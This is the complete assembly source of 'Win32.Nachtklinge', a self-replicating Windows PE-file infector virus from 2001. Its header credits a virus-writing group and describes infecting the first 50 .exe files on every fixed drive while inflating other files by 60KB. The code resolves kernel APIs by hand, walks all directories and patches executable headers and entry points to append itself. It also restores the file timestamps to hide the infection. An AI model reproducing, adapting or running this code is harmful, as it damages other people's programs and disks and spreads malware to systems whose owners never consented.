 ;
 ; Name:       Win32.Nachtklinge
 ;
 ; Type:       Runtime PE-Infector
 ;
 ; Coder:      BeLiAL/bcvg
 ;
 ; Comment:    - Eats HD-space (when win32.nachtklinge finds a file which is
 ;               already infected or not infectable, the filesize will increased (60kb))  
 ;             - Infects first 50 files on all HDs in all dirs !!  
 ;             - Nachtklinge has a bug, it crashes on some files, but
 ;               i dunno wether it was my fault or the coder of the file
 ;               was cleverer than i was ;)
 ;
 ; Greetings:  Greetings go out to the whole BlackCat group, espacially to Dr_T and
 ;             SatanicC0der 
 ;             also a "hello" to toro, Sinist3r and cwarrior alias daniel'
 ; 
 ; One important thing: Puppet on Undernet (#winnuke) is totally lame (he is the coder of
 ;                      NukeNabber). When u see him, give him greetings from me and
 ;                      congratulate him to his amazing coding skills. 
 ;
 ;
 ;  BeLiAL 2001
 ;  http://home.foni.net/~belial
 ;
 ;
 ;        
 ;                             Schwarz verbreitet sich in meinem Kopf
 ;                             ganz aufgequollen, mein Augenlicht zersetzt,
 ;                             das Herz verbrennt im weißen Nichts,
 ;                             und doch es wird...
 
.386
.model flat

Extrn ExitProcess:Proc

virussize        EQU offset virusend - offset start
MAX_PATH         EQU 260
DIR_ATTRIB       EQU 10h
DRIVE_FIXED      EQU  3h

.data

db 0

.code

start:

call deltastuff

deltastuff:
pop ebp
sub ebp,offset deltastuff

mov eax,dword ptr [ebp+old_entry]
mov dword ptr [ebp+old_entry_save],eax

call locate_kernel                      ;copies kernel address to eax
mov dword ptr [ebp+kerneloffset],eax

call get_export_table                   ;expects kernel address in eax

lea eax,[ebp+offset LoadLibrary] 
call get_kernel_api                     ;find an API in kernel

lea eax,[ebp+offset GetProcAddress]
call get_kernel_api

call get_apis 

mov byte ptr [ebp+infection_counter],0

pop eax
push eax
mov dword ptr [ebp+stackshit],eax

lea eax,[ebp+offset directorybuffer]
push eax
push 256
call [ebp+GetCurrentDirectory]

new_round:

lea eax,[ebp+offset thedrive]
push eax
call [ebp+SetCurrentDirectory]
cmp eax,0
je exit_routine

call InfectCurrentDir

findfirstdir:

lea eax,[ebp+FindFileData]
push eax
lea eax,[ebp+offset dirstring]
push eax
call [ebp+FindFirstFile]
mov dword ptr [ebp+dirhandle],eax
inc eax
jz go_one_down
cmp word ptr [ebp+FindFileData.cFileName],2e2eh
je findnextdir1
cmp word ptr [ebp+FindFileData.cFileName],002eh
je findnextdir1
cmp dword ptr [ebp+FindFileData.dwFileAttributes],DIR_ATTRIB
jne findnextdir1
push dword ptr [ebp+dirhandle]
lea eax,[ebp+offset FindFileData.cFileName]
push eax
call [ebp+SetCurrentDirectory]
call InfectCurrentDir
jmp findfirstdir

findnextdir1:
mov eax,dword ptr [ebp+dirhandle]

findnextdir:
lea ebx,[ebp+offset FindFileData]
push ebx
push eax
call [ebp+FindNextFile]
test eax,eax
jz go_one_down
cmp word ptr [ebp+FindFileData.cFileName],2e2eh
je findnextdir1
cmp word ptr [ebp+FindFileData.cFileName],2e00h
je findnextdir1
cmp word ptr [FindFileData.cFileName],002eh
je findnextdir1
cmp dword ptr [ebp+FindFileData.dwFileAttributes],DIR_ATTRIB
jne findnextdir1
push dword ptr [ebp+dirhandle]
lea eax,[ebp+offset FindFileData.cFileName]
push eax
call [ebp+SetCurrentDirectory]
call InfectCurrentDir
jmp findfirstdir

exit_routine:

add byte ptr [ebp+thedrive],1
lea eax,[ebp+offset thedrive]
push eax
call [ebp+GetDriveType]
cmp eax,DRIVE_FIXED
je new_round

lea eax,[ebp+offset directorybuffer]
push eax
call [ebp+SetCurrentDirectory]
jmp return_host

go_one_down:

lea eax,[ebp+offset dotdot]
push eax
call [ebp+SetCurrentDirectory]

push dword ptr [ebp+dirhandle]
call [ebp+FindClose]

pop eax
mov dword ptr [ebp+dirhandle],eax
mov ebx,dword ptr [ebp+stackshit]
cmp eax,ebx
jne findnextdir1
push eax
jmp exit_routine

return_host:

cmp ebp,0
jne not1stgeneration
push 0
call ExitProcess

not1stgeneration:
mov eax,dword ptr [ebp+old_entry_save]
jmp eax

;------------------------------procedures----------------------------------------

locate_kernel proc
mov dword ptr [ebp+stack_buffer],ebx

pop ebx
pop eax
push eax
push ebx
mov ax,0000h

is_this_mz:

cmp word ptr [eax],'ZM'
je found_mz
sub eax,10000h
jmp is_this_mz

found_mz:

mov ebx,dword ptr [ebp+stack_buffer]
ret

stack_buffer dd 0

endp

get_export_table proc
pushad

mov ebx,dword ptr [eax+3ch]
add eax,ebx
cmp word ptr [eax],'EP'
jne prepare_for_jumping_back

mov esi,dword ptr [eax+78h] ;go to exporttable
add esi,dword ptr [ebp+kerneloffset]

add esi,1ch
mov eax,dword ptr [esi]
add eax,dword ptr [ebp+kerneloffset] ;Offset of RVA of the function_names_table
mov [ebp+dword ptr Api_Adress_Table],eax

add esi,4
mov eax,dword ptr [esi]
add eax,dword ptr [ebp+kerneloffset] ;Offset of RVA of the function_names_table
mov [ebp+dword ptr Api_Name_Table],eax

add esi,4
mov eax,dword ptr [esi]
add eax,dword ptr [ebp+kerneloffset] ;Offset of RVA of the function_names_table
mov [ebp+dword ptr Api_Ordinary_Table],eax

popad
ret

prepare_for_jumping_back:

popad
pop eax
jmp return_host

endp

get_kernel_api  proc
pushad

push eax
add eax,4
call get_string_lenght
mov dword ptr [ebp+Current_API_Lenght],eax
pop eax
mov ebx,dword ptr [ebp+Api_Name_Table]
mov edx,0

string_find_loop:
mov ecx,dword ptr [ebp+Current_API_Lenght]
lea esi,[eax+4]
mov edi,dword ptr [ebx]
add edi,dword ptr [ebp+kerneloffset]
rep cmpsb
je found_API_string
add edx,1
add ebx,4
jmp string_find_loop

found_API_string:

shl edx,1
add edx,dword ptr [ebp+Api_Ordinary_Table]
mov ebx,0
mov bx,word ptr [edx]

shl bx,2
add ebx,dword ptr [ebp+Api_Adress_Table]
mov edx,dword ptr [ebx]
add edx,dword ptr [ebp+kerneloffset]
mov dword ptr [eax],edx

popad
ret

endp

get_string_lenght proc    ;offset of string in eax

push ecx
mov ecx,0

find_the_end_again:

cmp byte ptr [eax],00h
je found_lenght
inc ecx
inc eax
jmp find_the_end_again

found_lenght:

mov eax,ecx
pop ecx

ret

endp


get_apis proc
pushad

lea eax,[ebp+offset kernel32]
push eax
call [ebp+LoadLibrary]
mov dword ptr [ebp+kernelmodulhandle],eax

mov ebx,eax
lea edx,[ebp+offset CreateFile]

find_the_next_one:

push edx
push ebx
add edx,4
push edx
push ebx
call [ebp+GetProcAddress]
pop ebx
pop edx
mov dword ptr [edx],eax
cmp eax,0
je prepare_for_jumping_back
add edx,4
mov eax,edx
call get_string_lenght
add edx,eax
inc edx
cmp byte ptr [edx],'e'
je found_them_all
jmp find_the_next_one

found_them_all:

popad
ret

endp

InfectCurrentDir proc
pushad

findfirstfile:

lea eax,[ebp+offset FindFileData]
push eax
lea eax,[ebp+offset exestring]
push eax
call [ebp+FindFirstFile]
mov dword ptr [ebp+findfilehandle],eax
inc eax
jz no_files_left
jmp infect_the_file

find_next_file:

lea eax,[ebp+offset FindFileData]
push eax
push dword ptr [ebp+findfilehandle]
call [ebp+FindNextFile]
test eax,eax
jz no_files_left

infect_the_file:

push 0
push 0
push 3
push 0
push 1
push 80000000h + 40000000h
lea eax,[ebp+offset FindFileData.cFileName]
push eax
call [ebp+CreateFile]
cmp eax,0ffffffffh
je find_next_file
mov dword ptr [ebp+filehandle],eax

lea eax,[ebp+offset lastwrite]
push eax
lea eax,[ebp+offset lastaccess]
push eax
lea eax,[ebp+offset creationtime]
push eax
push dword ptr [ebp+filehandle]
call [ebp+GetFileTime]

push 0
push dword ptr [ebp+filehandle]
call [ebp+GetFileSize]
mov dword ptr [ebp+filesize],eax

add eax,virussize
push eax

push 0
push eax
push 0
push 4
push 0
push dword ptr [ebp+filehandle]
call [ebp+CreateFileMapping]
mov dword ptr [ebp+filemaphandle],eax

pop ebx                 ;not silly, just a personal note

push ebx
push 0
push 0
push 2
push eax
call [ebp+MapViewOfFile]
mov dword ptr [ebp+filemapaddress],eax

;The infection starts here!!!!!!!

cmp word ptr [eax+38h],';;'
je make_file_bigger

mov word ptr [eax+38h],';;'
mov ebx,dword ptr [eax+3ch]
add eax,ebx
cmp word ptr [eax],'EP'
jne close_handles

mov ebx,dword ptr [eax+28h]         ;file entry point
add ebx,dword ptr [eax+34h]         ;+image base
mov dword ptr [ebp+old_entry],ebx   ;=old entry point ;)
mov ebx,dword ptr [eax+3ch]
mov dword ptr [ebp+file_alignment],ebx

xor edx,edx
mov dx,word ptr [eax+14h]           ;size of optional_header
add edx,eax
add edx,18h                         ;size of image_header
                                    ;the section-headers begin in edx
push eax
push edx
                                    ;number of sections = eax+6h
mov cx,word ptr [eax+6h]            
mov ax,cx                           ;nr of sections in ax
dec ax                              ;first section is section number 0
xor ecx,ecx
mov word ptr [ebp+section_counter],0

find_last_section:
mov ebx,dword ptr [edx+14h]
cmp ebx,ecx
jz not_bigger

section_bigger:
mov si,word ptr [ebp+section_counter]

not_bigger:
cmp ax,word ptr [ebp+section_counter]
je found_last_section
add word ptr [ebp+section_counter],1
mov ecx,dword ptr [edx+14h]
add edx,28h
jmp find_last_section

found_last_section:
mov eax,28h
xor ecx,ecx
mov cx,si
mul ecx
pop edx
add edx,eax
pop eax                                 ;eax=offset PE  edx=offset last section header
                                    
or dword ptr [edx+24h],00000020h  	
or dword ptr [edx+24h],20000000h
or dword ptr [edx+24h],80000000h        ;changed the attributes of the last section

mov ebx,dword ptr [edx+8h]
mov dword ptr [ebp+old_section_size],ebx
add ebx,virussize
add dword ptr [edx+8h],ebx              ;virtualsize is patched and saved

mov ebx,dword ptr [edx+10h]
mov dword ptr [ebp+old_raw_size],ebx
push eax
push edx
mov eax,dword ptr [edx+8h]
xor edx,edx
mov ebx,dword ptr [ebp+file_alignment]
div ebx
sub ebx,edx
pop edx
pop eax
mov ecx,dword ptr [edx+8h]
add ecx,ebx
mov dword ptr [edx+10h],ecx             ;size of raw data patched and saved

mov ebx,dword ptr [edx+0ch]
add ebx,dword ptr [ebp+old_section_size]
mov dword ptr [eax+28h],ebx             ;now we have a new entry point

mov ebx,dword ptr [edx+10h]
add ebx,dword ptr [ebp+old_raw_size]
add ebx,1000h
add dword ptr [eax+50h],ebx		    ;size_of_image is patched

mov ebx,dword ptr [edx+14h]
add ebx,dword ptr [ebp+old_section_size]
add ebx,dword ptr [ebp+filemapaddress]

mov edi,ebx
lea esi,[ebp+offset start]
mov ecx,virussize
rep movsb                               ;virus is at the end
add byte ptr [ebp+infection_counter],1
jmp close_handles

make_file_bigger:

push dword ptr [ebp+filemapaddress]
call [ebp+UnmapViewOfFile]

push dword ptr [ebp+filemaphandle]
call [ebp+CloseHandle]

mov eax,dword ptr [ebp+filesize]
add eax,0ffffh

push eax

push 0
push eax
push 0
push 4
push 0
push dword ptr [ebp+filehandle]
call [ebp+CreateFileMapping]
mov dword ptr [ebp+filemaphandle],eax

pop ebx                 ;saw it already anywhere else ? ;)

push ebx
push 0
push 0
push 2
push eax
call [ebp+MapViewOfFile]
mov dword ptr [ebp+filemapaddress],eax

close_handles:

push dword ptr [ebp+filemapaddress]
call [ebp+UnmapViewOfFile]

push dword ptr [ebp+filemaphandle]
call [ebp+CloseHandle]

lea eax,[ebp+offset lastwrite]
push eax
lea eax,[ebp+offset lastaccess]
push eax
lea eax,[ebp+offset creationtime]
push eax
push dword ptr [ebp+filehandle]
call [ebp+SetFileTime]

push dword ptr [ebp+filehandle]
call [ebp+CloseHandle]

cmp byte ptr [ebp+infection_counter],50
jne find_next_file
popad
clear_stack:
pop eax
cmp eax,dword ptr [ebp+stackshit]
jne clear_stack
jmp return_host

no_files_left:

push dword ptr [ebp+findfilehandle]
call [ebp+FindClose] 

popad
ret

endp


;-----------------------------------variables----------------------------

kerneloffset            dd 0
Api_Adress_Table        dd 0
Api_Name_Table          dd 0
Api_Ordinary_Table      dd 0

Current_API_Lenght      dd 0
LoadLibrary             dd 0
LoadLibrary_            db "LoadLibraryA",0
GetProcAddress          dd 0
GetProcAddress_         db "GetProcAddress",0

kernel32                db "kernel32.dll",0
kernelmodulhandle       dd 0

CreateFile              dd 0
CreateFile_             db "CreateFileA",0
CreateFileMapping       dd 0
CreateFileMapping_      db "CreateFileMappingA",0
MapViewOfFile           dd 0
MapViewOfFile_          db "MapViewOfFile",0
CloseHandle             dd 0
CloseHandle_            db "CloseHandle",0
FindClose               dd 0
FindClose_              db "FindClose",0
UnmapViewOfFile         dd 0
UnmapViewOfFile_        db "UnmapViewOfFile",0
FindFirstFile           dd 0
FindFirstFile_          db "FindFirstFileA",0
FindNextFile            dd 0
FindNextFile_           db "FindNextFileA",0
GetFileSize             dd 0
GetFileSize_            db "GetFileSize",0
GetFileTime             dd 0
GetFileTime_            db "GetFileTime",0
SetFileTime             dd 0
SetFileTime_            db "SetFileTime",0
GetCurrentDirectory     dd 0
                        db "GetCurrentDirectoryA",0
SetCurrentDirectory     dd 0
                        db "SetCurrentDirectoryA",0
GetDriveType            dd 0
                        db "GetDriveTypeA",0
                                                
                        db "e" 

findfilehandle          dd 0
dirhandle               dd 0
filehandle              dd 0
filemaphandle           dd 0
filemapaddress          dd 0
exestring               db "*.exe",0
dirstring               db "*.*",0
filesize                dd 0
old_entry               dd 0
file_alignment          dd 0
section_counter         dw 0
old_section_size        dd 0
old_raw_size            dd 0
old_entry_save          dd 0
                        
                        db "Win9x.Nachtklinge coded by BeLiAL/bcvg"
stackshit               dd 0
directorybuffer         db 256 dup (1)
thedrive                db "c:\",0
dotdot                  db "..",0
infection_counter       db 0
                                         
FILETIME struct
dwLowDateTime         DWORD   ?
dwHighDateTime        DWORD   ?      
FILETIME ends

WIN32_FIND_DATA struct
dwFileAttributes      DWORD ?
ftCreationTime        FILETIME <>
ftLastAccessTime      FILETIME <>        
ftLastWriteTime       FILETIME <>      
nFileSizeHigh         DWORD   ?        
nFileSizeLow          DWORD   ?      
dwReserved0           DWORD   ?       
dwReserved1           DWORD   ?       
cFileName             BYTE MAX_PATH dup(?)
cAlternate            BYTE 0eh dup(?)   
ends

FindFileData        WIN32_FIND_DATA <>
lastwrite           FILETIME <>
lastaccess          FILETIME <>
creationtime        FILETIME <>

                    db "Follow the Black Cat"
virusend label near

end start